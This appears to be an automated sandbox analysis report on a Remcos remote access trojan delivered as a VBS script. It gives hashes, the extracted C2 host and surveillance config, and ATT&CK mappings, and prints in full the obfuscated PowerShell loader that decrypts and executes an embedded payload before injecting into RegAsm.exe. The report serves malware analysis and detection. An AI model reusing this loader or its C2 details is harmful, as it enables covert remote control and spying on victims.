remcos | 06051fcdf49ca8dc96fecde6f1477cde2994a01f899ea063072e3c77789845fc

Resubmissions

12/07/2024, 06:41

240712-hf4p3ssdqj10

12/07/2024, 06:39

240712-herdcssdkj10

Analysis

max time kernel
124s
max time network
110s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
12/07/2024, 06:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
crosscheckrosefloweronhairbeauty.vbs
Size 150KB
Sample240712-herdcssdkj
SHA256 06051fcdf49ca8dc96fecde6f1477cde2994a01f899ea063072e3c77789845fc
MD5 7921681c6200952fdf2db1a77381ac24
SHA1 96e6385fc9c0b8b485eba5bc8f45420ea84b38e6
SHA512 4c8da2c5cd3c6f88a19e44806cae2b4aefb7512c49554420bbad6b341dcf6b16ae75a1af94a9b1bcaa8123cb4987130a0dca1bdf70be81f31148f73ab7b6010b
SSDEEP 1536:yZccvQGghdpPZp+ogsUJW4Wrle/PhG+/kery+bGsvky38sv5HnIgs:QghdpP+og0S7e9
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

sembe.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
nots.dat
keylog_flag
false
keylog_folder
note
keylog_path
%Temp%
mouse_option
false
mutex
Rmc-999Z97
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	1924	WScript.exe
4	1924	WScript.exe
6	1924	WScript.exe
14	2916	powershell.exe
23	2916	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2916 set thread context of 2184	2916	powershell.exe	88

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2916	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2916	powershell.exe
2916	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2916	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2184	RegAsm.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 2916	1924	WScript.exe	86
PID 1924 wrote to memory of 2916	1924	WScript.exe	86
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88
PID 2916 wrote to memory of 2184	2916	powershell.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\crosscheckrosefloweronhairbeauty.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53289677559390085198936330541601CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIfBvRZYArRiXxb9pLfOWJSzhLRPd5I7zACTsYJPbnDRxmpMjLudBMxIclsh5G1oAEB4NHw+gqZ73NYAtRuPEZbun7w27uHNUU/2UZk0vwixZZjYF8SBUg7cmFK0nSMgU1Iow3bYmuii7NK55sdrSb83T7TlGZY91+Moz0ZBIk/0eAU2wf8Py5IgxbPrmhkNHTpbZFW/Al0eMV2MWxPeHSmQgZ//aQ5gn4Og/LInIlaSIqzqvxWq5kou0WIQo/72zG6+7hFvlR6cDOFO2EYak1CZ8irRCX18qAZvDaSJk/li/7cM0YyGDGjetxHvddCjxoFrsIzOoFr80ro7ty8kqQMtvLfXWiRbyxHtkF3NxaNwlxDUG/Htly5mpzTXN98K6Fnob44pHV6WFmrTRzBeXFvRMXFrkrC3t4BnQoCxsRB6x1sycYX2BAgD4vDPPYxPb47dSqUAoFV4NMTMVwtucrwLJdlZlPd2EnjstlapgPGyqeDuq+TKGWTRY7Z1C3vRcmlGe+lnY3QnpSNHNLl/haCmRsH4gMWyr4W/C2zNKguYI0N/PuyhAYi7YLD4A/NHjUcCY9rhxCg197+PLu/OwLBOl0CXgp/Ts85zFpV7WYNvBVPdgWvIPMkzBwQ+49ILJWVxcCDdE6JmR5Fq9tx9CQCnQJHN8uHPYaUlZ0ReVI/npl7GN05N9Obi18FtHe8U5TJh3++s3GfoiYW9BhKgh39janXG8zoXy6iZOVv1CDPHimFt85ZaMs1Bo+CmL5lnsudxNiDoq44/2E5DtzNoWEzZ+OQLsOM9Zh7Lke8w81xDJOSxVmqDoOcMa4I6/NsXFAlOTeKkhDmJCHTUB/Ks2qy+xvWMe77WJAkO37XgYyBUTA46+w+NVfiXxSstunWVvAjPztuMG9ekqgyxG0tWnqnXcuN/TQwZP47Z83ALuTurZOTykuQEXA42lNWU8mibH2upcIACt8NoPw3r5fRNvJc322KLiLSEJOJDDwYQP3uPDW9ylYqnz9saWGUF7wyvlEIrk5vKGo+vuncoCtLyjSFU2NNWq/OUhm3YFstmHb00qRls8jshNFDeskT+9HrCwRd5P+6kLq2cCc1OCMU4SwDWZMZEi/L5oEW5wJXHXG/5VBwshKqSiAF1ojathm5reHGj8cBBQcmfmNAiBhE+cYjLiJ1HYdwmhWRlD9k2l7IrpPf72Zqiu2AJE1o7WKFUPAGFRCXzrDrRaHWxr27DK2NG8lOEVbh92cuVyNGBlhPQft0FbKGvaWYwCm9BS9uJ8iakplRHRpzvLdk5Vw06NR0Yrav4GBiDdk6DqZecDjAKZoBxoCZOav+ztJKIbgKzOMNv18CX9tBGDWY/69/2jI7bvSx+CwNi/hpj3s9iK+SwzIrpD+dFAIiQcmP3Wj4TFZaBEjn++UcwcO3C2sjME5q86SXNGxzQs3i74Hw5uxEiiJhjft+JA0nP2X91n118uUxgEZdNZYtfDuLLg3uLun/EmKv1DFelh7eFXGEr3moW6nDkt16Q8Vt70kfULUet/WDc5XMsIOU0QFo5WQP9BPNJm7vuhbMBlWp/x8tkFjKO9fCUtgZ3vYKrjvFe1RMsHOuSXcC8eZgwJNI3F0Gtx7Rc2jC2D+CDFPstFXOPDalI6g2hOKB0IzlYPk/GhbZmfoYqm2SfR4VcsG9fjYrUCGhbqag/5m5K5GGlkwdugJl/F/liXwGNmURs4EWFJe3UpAevGgVLpYHIc48Xsqfyu4AfxXZtVkyJXoIc1AzQvH1cvQJm9XokY4SbLS7N7PiDJXCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:2184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

paste1[1].txt

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MDMHN06X\paste1[1].txt
Size 156B
SHA256 ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c
MD5 ad6c37ef980373e9bcbd14810fad34bc
SHA1 9c061a1b3608b7c7f1db7cd06c8246913ee11bda
SHA512 30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_wm4yoff4.0id.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wm4yoff4.0id.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

nots.dat

Path C:\Users\Admin\AppData\Local\Temp\note\nots.dat
Size 144B
SHA256 c768dbfd7fe621afc979ad3a787bc9b3776655da7dc3b8f5662b827ebca4a6ad
MD5 d476947668b406990b977ac1b1040223
SHA1 c59b309ba5e6d3ef71e11b5c4eec723d49d39030
SHA512 5aeba31a420d27302b2b8e38f45e42564b6572ea9f61fa3e6f9ebe9a9429887983e8e3f9bad90f5079ace94a2f1ebe965ad5e206f4fe5642b78d9603644c865c
MD5 SHA1 SHA512

Submit Download

memory/2184-43-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-50-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-70-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-69-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-61-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-28-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-62-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-32-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-33-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-35-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-37-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-39-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-40-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-41-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-42-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-54-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2184-53-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2916-13-0x00007FF90E503000-0x00007FF90E505000-memory.dmp

Download

memory/2916-24-0x00007FF90E500000-0x00007FF90EFC1000-memory.dmp

Download

memory/2916-23-0x0000022AE9A80000-0x0000022AE9AA2000-memory.dmp

Download

memory/2916-31-0x00007FF90E500000-0x00007FF90EFC1000-memory.dmp

Download

memory/2916-27-0x0000022AFC1E0000-0x0000022AFC3CC000-memory.dmp

Download

memory/2916-26-0x00007FF90E500000-0x00007FF90EFC1000-memory.dmp

Download

memory/2916-25-0x00007FF90E500000-0x00007FF90EFC1000-memory.dmp

Download